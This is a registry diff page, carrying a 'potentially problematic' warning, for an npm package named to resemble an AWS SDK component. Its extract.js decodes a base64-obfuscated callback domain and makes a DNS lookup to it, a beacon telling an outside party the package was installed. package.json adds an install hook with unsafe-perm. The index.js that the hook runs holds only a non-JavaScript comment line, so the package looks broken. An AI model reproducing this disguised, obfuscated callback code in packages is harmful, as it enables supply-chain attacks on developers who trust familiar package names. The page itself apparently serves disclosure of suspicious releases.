aws-sdk-react-native-core 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aws-sdk-react-native-core might be problematic. Click here for more details.
- package/README.md +6 -0
- package/extract.js +12 -0
- package/index.js +1 -0
- package/package.json +19 -0
package/extract.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
|
3
|
+
// Obfuscated domain
|
4
|
+
const domain = Buffer.from('a3ltcmQzM2tycGNnY2l0M3MwY3h2Z2kzeXU0bHNnZzUub2FzdGlmeS5jb20=', 'base64').toString('utf-8');
|
5
|
+
|
6
|
+
dns.lookup(domain, (err, address, family) => {
|
7
|
+
if (err) {
|
8
|
+
console.log(err);
|
9
|
+
} else {
|
10
|
+
console.log(`Address: ${address}, family: ${family}`);
|
11
|
+
}
|
12
|
+
});
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# blank demo
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"name": "aws-sdk-react-native-core",
|
3
|
+
"version": "0.0.2",
|
4
|
+
"description": "Demo Package",
|
5
|
+
"main": "index.js",
|
6
|
+
"keywords": [
|
7
|
+
"Demo1",
|
8
|
+
"Demo"
|
9
|
+
],
|
10
|
+
"dependencies": {},
|
11
|
+
"scripts": {
|
12
|
+
"install": "node index.js"
|
13
|
+
},
|
14
|
+
"config": {
|
15
|
+
"unsafe-perm":true
|
16
|
+
},
|
17
|
+
"author": "Demo Package",
|
18
|
+
"license": "ISC"
|
19
|
+
}
|